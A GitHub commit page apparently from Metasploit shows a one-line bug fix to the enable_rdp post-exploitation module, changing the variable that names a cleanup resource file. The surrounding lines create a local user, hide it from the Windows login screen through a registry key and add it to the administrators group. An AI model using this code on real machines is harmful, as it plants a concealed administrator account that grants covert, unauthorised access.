Skip to content

Commit 5eb510f

Browse files
committed
Use the correct variable for the filename
1 parent 27323bc commit 5eb510f

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/post/windows/manage/enable_rdp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -138,7 +138,7 @@ def addrdpusr(username, password,cleanup_rc)
138138
print_status "\tHiding user from Windows Login screen"
139139
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
140140
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
141-
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
141+
file_local_write(cleanup_rc,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
142142
print_status "\tAdding User: #{username} to local group '#{admin}'"
143143
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
144144
print_status "You can now login with the created user"

0 commit comments

Comments
 (0)